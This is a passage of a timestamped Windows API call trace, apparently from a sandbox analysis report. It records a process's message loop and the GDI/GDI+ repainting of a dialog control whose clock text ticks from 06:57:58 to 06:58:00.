GetSystemMetrics (nIndex=42) returned 0 [0157.243] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:57:58") returned 8 [0157.243] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0157.243] GdipGetDC (graphics=0x691e928, hdc=0x19e7e8) returned 0x0 [0157.243] GetCurrentObject (hdc=0x31010738, type=0x1) returned 0xb00017 [0157.243] GetCurrentObject (hdc=0x31010738, type=0x2) returned 0x900010 [0157.243] GetCurrentObject (hdc=0x31010738, type=0x7) returned 0x8050721 [0157.243] GetCurrentObject (hdc=0x31010738, type=0x6) returned 0x8a01c2 [0157.244] SaveDC (hdc=0x31010738) returned 1 [0157.244] GetNearestColor (hdc=0x31010738, color=0x0) returned 0x0 [0157.244] RestoreDC (hdc=0x31010738, nSavedDC=-1) returned 1 [0157.244] GdipReleaseDC (graphics=0x691e928, hdc=0x31010738) returned 0x0 [0157.244] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0157.244] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0157.244] GdipGetTextRenderingHint (graphics=0x691e928, mode=0x19e788) returned 0x0 [0157.244] GdipGetDC (graphics=0x691e928, hdc=0x19e774) returned 0x0 [0157.244] GetCurrentObject (hdc=0x31010738, type=0x1) returned 0xb00017 [0157.244] GetCurrentObject (hdc=0x31010738, type=0x2) returned 0x900010 [0157.244] GetCurrentObject (hdc=0x31010738, type=0x7) returned 0x8050721 [0157.244] GetCurrentObject (hdc=0x31010738, type=0x6) returned 0x8a01c2 [0157.244] SaveDC (hdc=0x31010738) returned 1 [0157.245] GetTextAlign (hdc=0x31010738) returned 0x0 [0157.245] GetTextColor (hdc=0x31010738) returned 0x0 [0157.245] GetCurrentObject (hdc=0x31010738, type=0x6) returned 0x8a01c2 [0157.245] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0157.245] SelectObject (hdc=0x31010738, h=0x4f0a0711) returned 0x8a01c2 [0157.245] GetBkMode (hdc=0x31010738) returned 2 [0157.245] SetBkMode (hdc=0x31010738, mode=1) returned 2 [0157.245] DrawTextExW (in: hdc=0x31010738, lpchText="06:57:58", cchText=8, lprc=0x19e708, format=0x100000, lpdtp=0x3024264 | out: lpchText="06:57:58", lprc=0x19e708) returned 50 [0157.246] RestoreDC (hdc=0x31010738, nSavedDC=-1) returned 1 [0157.246] GdipReleaseDC (graphics=0x691e928, hdc=0x31010738) returned 0x0 [0157.246] GdipGetDC (graphics=0x691e928, hdc=0x19e924) returned 0x0 [0157.246] BitBlt (hdc=0x1e0106e1, x=0, y=0, cx=154, cy=50, hdcSrc=0x31010738, x1=0, y1=0, rop=0xcc0020) returned 1 [0157.246] GdipReleaseDC (graphics=0x691e928, hdc=0x31010738) returned 0x0 [0157.246] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0157.246] SelectObject (hdc=0x31010738, h=0x85000f) returned 0x8050721 [0157.246] DeleteDC (hdc=0x31010738) returned 1 [0157.246] GdipDeleteGraphics (graphics=0x691e928) returned 0x0 [0157.247] EndPaint (hWnd=0x20236, lpPaint=0x19e8c8) returned 1 [0157.247] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.247] GetMessageA (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.247] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.247] DispatchMessageA (lpMsg=0x19ee78) returned 0x7f4b [0157.247] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.247] GetMessageA (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.247] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.247] DispatchMessageA (lpMsg=0x19ee78) returned 0x0 [0157.248] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.248] IsWindowUnicode (hWnd=0x30212) returned 1 [0157.248] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.248] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.248] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.248] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.248] IsWindowUnicode (hWnd=0x30212) returned 1 [0157.248] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.248] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.248] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.248] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x2a1, wParam=0x0, lParam=0x47003d) returned 0x0 [0157.248] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.248] IsWindowUnicode (hWnd=0xa0052) returned 1 [0157.248] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.248] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.248] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.248] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0157.579] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.579] IsWindowUnicode (hWnd=0x50074) returned 1 [0157.579] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.579] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.579] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.579] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0157.579] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0157.579] GetSystemMetrics (nIndex=42) returned 0 [0157.579] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea9c, nMaxCount=9 | out: lpString="06:57:58") returned 8 [0157.579] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea9c) returned 0x8 [0157.579] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0157.579] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0157.579] GetSystemMetrics (nIndex=42) returned 0 [0157.579] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea98, nMaxCount=9 | out: lpString="06:57:58") returned 8 [0157.579] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea98) returned 0x8 [0157.579] SetWindowTextW (hWnd=0x20236, lpString="06:57:59") returned 1 [0157.579] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xc, wParam=0x0, lParam=0x3024314) returned 0x1 [0157.580] GetStockObject (i=5) returned 0x900015 [0157.580] GetDlgItem (hDlg=0x2022c, nIDDlgItem=131638) returned 0x20236 [0157.580] SendMessageW (hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0157.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0157.580] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0157.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0157.580] GetSystemMetrics (nIndex=42) returned 0 [0157.580] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e9bc, nMaxCount=9 | out: lpString="06:57:59") returned 8 [0157.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e9bc) returned 0x8 [0157.580] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0157.581] AdjustWindowRectEx (in: lpRect=0x19e94c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e94c) returned 1 [0157.581] DrawTextExW (in: hdc=0x8e0106dd, lpchText="06:57:59", cchText=8, lprc=0x19e938, format=0x102400, lpdtp=0x3024504 | out: lpchText="06:57:59", lprc=0x19e938) returned 50 [0157.581] InvalidateRect (hWnd=0x20236, lpRect=0x0, bErase=1) returned 1 [0157.581] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0157.581] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0157.581] GetSystemMetrics (nIndex=42) returned 0 [0157.581] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e9fc, nMaxCount=1 | out: lpString="") returned 0 [0157.581] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e9fc) returned 0x0 [0157.581] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.581] IsWindowUnicode (hWnd=0x20236) returned 1 [0157.581] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.581] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.581] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.582] BeginPaint (in: hWnd=0x20236, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1e0106e1 [0157.582] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0157.582] CreateCompatibleDC (hdc=0x1e0106e1) returned 0x32010738 [0157.582] SelectObject (hdc=0x32010738, h=0x8050721) returned 0x85000f [0157.582] GdipCreateFromHDC (hdc=0x32010738, graphics=0x19e8e4) returned 0x0 [0157.582] GdipTranslateWorldTransform (graphics=0x691e928, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0157.582] GdipSetClipRectI (graphics=0x691e928, x=0, y=0, width=154, height=50, combineMode=0x0) returned 0x0 [0157.582] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0157.582] GdipGetWorldTransform (graphics=0x691e928, matrix=0x691efb8) returned 0x0 [0157.582] GdipIsMatrixIdentity (matrix=0x691efb8, result=0x19e944) returned 0x0 [0157.582] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0157.582] GdipGetMatrixElements (matrix=0x691efb8, matrixOut=0xf75be8) returned 0x0 [0157.582] LocalFree (hMem=0xf75be8) returned 0x0 [0157.583] GdipDeleteMatrix (matrix=0x691efb8) returned 0x0 [0157.583] GdipCreateRegion (region=0x19e92c) returned 0x0 [0157.583] GdipGetClip (graphics=0x691e928, region=0x691ec08) returned 0x0 [0157.583] GdipIsInfiniteRegion (region=0x691ec08, graphics=0x691e928, result=0x19e938) returned 0x0 [0157.583] GdipSaveGraphics (graphics=0x691e928, state=0x19e964) returned 0x0 [0157.583] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0157.583] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0157.583] GetSystemMetrics (nIndex=42) returned 0 [0157.583] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:57:59") returned 8 [0157.583] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0157.583] GetClientRect (in: hWnd=0x20236, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0157.583] GdipCreateRegion (region=0x19e780) returned 0x0 [0157.583] GdipGetClip (graphics=0x691e928, region=0x691ec98) returned 0x0 [0157.583] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0157.583] GdipGetWorldTransform (graphics=0x691e928, matrix=0x6915f08) returned 0x0 [0157.583] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0157.583] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0157.583] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0157.583] LocalFree (hMem=0xf75c20) returned 0x0 [0157.583] GdipCombineRegionRegion (region=0x691ec98, region2=0x691ec08, combineMode=0x1) returned 0x0 [0157.583] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0157.583] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0157.583] LocalFree (hMem=0xf75c20) returned 0x0 [0157.583] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0157.584] GdipIsInfiniteRegion (region=0x691ec98, graphics=0x691e928, result=0x19e7c0) returned 0x0 [0157.584] GdipIsInfiniteRegion (region=0x691ec98, graphics=0x691e928, result=0x19e7b0) returned 0x0 [0157.584] GdipGetRegionHRgn (region=0x691ec98, graphics=0x691e928, hRgn=0x19e7b0) returned 0x0 [0157.584] GdipDeleteRegion (region=0x691ec98) returned 0x0 [0157.584] GdipGetDC (graphics=0x691e928, hdc=0x19e7c8) returned 0x0 [0157.584] GetCurrentObject (hdc=0x32010738, type=0x1) returned 0xb00017 [0157.584] GetCurrentObject (hdc=0x32010738, type=0x2) returned 0x900010 [0157.584] GetCurrentObject (hdc=0x32010738, type=0x7) returned 0x8050721 [0157.584] GetCurrentObject (hdc=0x32010738, type=0x6) returned 0x8a01c2 [0157.584] SaveDC (hdc=0x32010738) returned 1 [0157.584] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x570406f7 [0157.584] GetClipRgn (hdc=0x32010738, hrgn=0x570406f7) returned 0 [0157.584] SelectClipRgn (hdc=0x32010738, hrgn=0xc70406fe) returned 2 [0157.584] DeleteObject (ho=0x570406f7) returned 1 [0157.584] DeleteObject (ho=0xc70406fe) returned 1 [0157.584] OffsetViewportOrgEx (in: hdc=0x32010738, x=0, y=0, lppt=0x30248d4 | out: lppt=0x30248d4) returned 1 [0157.584] GetNearestColor (hdc=0x32010738, color=0x22a3f8) returned 0x22a3f8 [0157.584] CreateSolidBrush (color=0x22a3f8) returned 0xa10073a [0157.584] FillRect (hDC=0x32010738, lprc=0x19e7cc, hbr=0xa10073a) returned 1 [0157.584] DeleteObject (ho=0xa10073a) returned 1 [0157.584] RestoreDC (hdc=0x32010738, nSavedDC=-1) returned 1 [0157.584] GdipReleaseDC (graphics=0x691e928, hdc=0x32010738) returned 0x0 [0157.584] GdipRestoreGraphics (graphics=0x691e928, state=0xfd610dbd) returned 0x0 [0157.584] GdipDeleteRegion (region=0x691ec08) returned 0x0 [0157.585] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0157.585] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0157.585] GetSystemMetrics (nIndex=42) returned 0 [0157.585] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:57:59") returned 8 [0157.585] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0157.585] GdipGetDC (graphics=0x691e928, hdc=0x19e7e8) returned 0x0 [0157.585] GetCurrentObject (hdc=0x32010738, type=0x1) returned 0xb00017 [0157.585] GetCurrentObject (hdc=0x32010738, type=0x2) returned 0x900010 [0157.585] GetCurrentObject (hdc=0x32010738, type=0x7) returned 0x8050721 [0157.585] GetCurrentObject (hdc=0x32010738, type=0x6) returned 0x8a01c2 [0157.585] SaveDC (hdc=0x32010738) returned 1 [0157.585] GetNearestColor (hdc=0x32010738, color=0x0) returned 0x0 [0157.585] RestoreDC (hdc=0x32010738, nSavedDC=-1) returned 1 [0157.585] GdipReleaseDC (graphics=0x691e928, hdc=0x32010738) returned 0x0 [0157.585] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0157.585] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0157.585] GdipGetTextRenderingHint (graphics=0x691e928, mode=0x19e788) returned 0x0 [0157.586] GdipGetDC (graphics=0x691e928, hdc=0x19e774) returned 0x0 [0157.586] GetCurrentObject (hdc=0x32010738, type=0x1) returned 0xb00017 [0157.586] GetCurrentObject (hdc=0x32010738, type=0x2) returned 0x900010 [0157.586] GetCurrentObject (hdc=0x32010738, type=0x7) returned 0x8050721 [0157.586] GetCurrentObject (hdc=0x32010738, type=0x6) returned 0x8a01c2 [0157.586] SaveDC (hdc=0x32010738) returned 1 [0157.586] GetTextAlign (hdc=0x32010738) returned 0x0 [0157.586] GetTextColor (hdc=0x32010738) returned 0x0 [0157.586] GetCurrentObject (hdc=0x32010738, type=0x6) returned 0x8a01c2 [0157.586] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0157.586] SelectObject (hdc=0x32010738, h=0x4f0a0711) returned 0x8a01c2 [0157.586] GetBkMode (hdc=0x32010738) returned 2 [0157.586] SetBkMode (hdc=0x32010738, mode=1) returned 2 [0157.586] DrawTextExW (in: hdc=0x32010738, lpchText="06:57:59", cchText=8, lprc=0x19e708, format=0x100000, lpdtp=0x3024d68 | out: lpchText="06:57:59", lprc=0x19e708) returned 50 [0157.587] RestoreDC (hdc=0x32010738, nSavedDC=-1) returned 1 [0157.587] GdipReleaseDC (graphics=0x691e928, hdc=0x32010738) returned 0x0 [0157.587] GdipGetDC (graphics=0x691e928, hdc=0x19e924) returned 0x0 [0157.587] BitBlt (hdc=0x1e0106e1, x=0, y=0, cx=154, cy=50, hdcSrc=0x32010738, x1=0, y1=0, rop=0xcc0020) returned 1 [0157.587] GdipReleaseDC (graphics=0x691e928, hdc=0x32010738) returned 0x0 [0157.588] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0157.588] SelectObject (hdc=0x32010738, h=0x85000f) returned 0x8050721 [0157.588] DeleteDC (hdc=0x32010738) returned 1 [0157.588] GdipDeleteGraphics (graphics=0x691e928) returned 0x0 [0157.588] EndPaint (hWnd=0x20236, lpPaint=0x19e8c8) returned 1 [0157.590] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0157.590] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0157.590] WaitMessage () returned 1 [0158.236] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0158.236] GetMessageA (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0158.237] TranslateMessage (lpMsg=0x19ee78) returned 0 [0158.237] DispatchMessageA (lpMsg=0x19ee78) returned 0x1 [0158.237] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0158.237] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0158.237] WaitMessage () returned 1 [0158.578] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0158.579] IsWindowUnicode (hWnd=0x50074) returned 1 [0158.579] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0158.579] TranslateMessage (lpMsg=0x19ee78) returned 0 [0158.579] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0158.579] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0158.579] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0158.579] GetSystemMetrics (nIndex=42) returned 0 [0158.579] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea9c, nMaxCount=9 | out: lpString="06:57:59") returned 8 [0158.579] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea9c) returned 0x8 [0158.579] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0158.579] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0158.579] GetSystemMetrics (nIndex=42) returned 0 [0158.579] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea98, nMaxCount=9 | out: lpString="06:57:59") returned 8 [0158.579] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea98) returned 0x8 [0158.579] SetWindowTextW (hWnd=0x20236, lpString="06:58:00") returned 1 [0158.579] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xc, wParam=0x0, lParam=0x3024e30) returned 0x1 [0158.580] GetStockObject (i=5) returned 0x900015 [0158.580] GetDlgItem (hDlg=0x2022c, nIDDlgItem=131638) returned 0x20236 [0158.580] SendMessageW (hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0158.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0158.580] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0158.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0158.580] GetSystemMetrics (nIndex=42) returned 0 [0158.580] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e9bc, nMaxCount=9 | out: lpString="06:58:00") returned 8 [0158.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e9bc) returned 0x8 [0158.580] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0158.580] AdjustWindowRectEx (in: lpRect=0x19e94c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e94c) returned 1 [0158.581] DrawTextExW (in: hdc=0x8e0106dd, lpchText="06:58:00", cchText=8, lprc=0x19e938, format=0x102400, lpdtp=0x3025004 | out: lpchText="06:58:00", lprc=0x19e938) returned 50 [0158.581] InvalidateRect (hWnd=0x20236, lpRect=0x0, bErase=1) returned 1 [0158.581] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0158.581] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0158.581] GetSystemMetrics (nIndex=42) returned 0 [0158.581] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e9fc, nMaxCount=1 | out: lpString="") returned 0 [0158.581] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e9fc) returned 0x0 [0158.581] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0158.581] IsWindowUnicode (hWnd=0x20236) returned 1 [0158.581] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0158.581] TranslateMessage (lpMsg=0x19ee78) returned 0 [0158.581] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0158.581] BeginPaint (in: hWnd=0x20236, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1e0106e1 [0158.582] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0158.582] CreateCompatibleDC (hdc=0x1e0106e1) returned 0x101072c [0158.582] SelectObject (hdc=0x101072c, h=0x8050721) returned 0x85000f [0158.582] GdipCreateFromHDC (hdc=0x101072c, graphics=0x19e8e4) returned 0x0 [0158.582] GdipTranslateWorldTransform (graphics=0x691e928, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0158.582] GdipSetClipRectI (graphics=0x691e928, x=0, y=0, width=154, height=50, combineMode=0x0) returned 0x0 [0158.582] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0158.582] GdipGetWorldTransform (graphics=0x691e928, matrix=0x691efb8) returned 0x0 [0158.582] GdipIsMatrixIdentity (matrix=0x691efb8, result=0x19e944) returned 0x0 [0158.582] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0158.582] GdipGetMatrixElements (matrix=0x691efb8, matrixOut=0xf75be8) returned 0x0 [0158.582] LocalFree (hMem=0xf75be8) returned 0x0 [0158.582] GdipDeleteMatrix (matrix=0x691efb8) returned 0x0 [0158.582] GdipCreateRegion (region=0x19e92c) returned 0x0 [0158.583] GdipGetClip (graphics=0x691e928, region=0x691ec08) returned 0x0 [0158.583] GdipIsInfiniteRegion (region=0x691ec08, graphics=0x691e928, result=0x19e938) returned 0x0 [0158.583] GdipSaveGraphics (graphics=0x691e928, state=0x19e964) returned 0x0 [0158.583] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0158.583] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0158.583] GetSystemMetrics (nIndex=42) returned 0 [0158.583] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:00") returned 8 [0158.583] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0158.583] GetClientRect (in: hWnd=0x20236, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0158.583] GdipCreateRegion (region=0x19e780) returned 0x0 [0158.583] GdipGetClip (graphics=0x691e928, region=0x691ec98) returned 0x0 [0158.583] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0158.583] GdipGetWorldTransform (graphics=0x691e928, matrix=0x6915f08) returned 0x0 [0158.583] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0158.583] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0158.583] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0158.583] LocalFree (hMem=0xf75be8) returned 0x0 [0158.583] GdipCombineRegionRegion (region=0x691ec98, region2=0x691ec08, combineMode=0x1) returned 0x0 [0158.583] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0158.583] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0158.583] LocalFree (hMem=0xf75c20) returned 0x0 [0158.583] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0158.584] GdipIsInfiniteRegion (region=0x691ec98, graphics=0x691e928, result=0x19e7c0) returned 0x0 [0158.584] GdipIsInfiniteRegion (region=0x691ec98, graphics=0x691e928, result=0x19e7b0) returned 0x0 [0158.584] GdipGetRegionHRgn (region=0x691ec98, graphics=0x691e928, hRgn=0x19e7b0) returned 0x0 [0158.584] GdipDeleteRegion (region=0x691ec98) returned 0x0 [0158.584] GdipGetDC 